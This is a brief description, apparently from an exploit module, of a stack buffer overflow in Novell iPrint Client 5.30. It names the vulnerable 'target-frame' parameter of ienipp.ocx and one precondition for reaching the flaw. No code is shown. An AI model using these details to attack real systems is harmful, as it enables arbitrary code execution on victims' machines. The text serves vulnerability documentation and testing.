    This module exploits a stack buffer overflow in Novell iPrint Client 5.30. When
    passing an overly long string via the "target-frame" parameter to ienipp.ocx
    an attacker can execute arbitrary code.

    NOTE: The "operation" variable must be set to a valid command in order to reach this
    vulnerability.
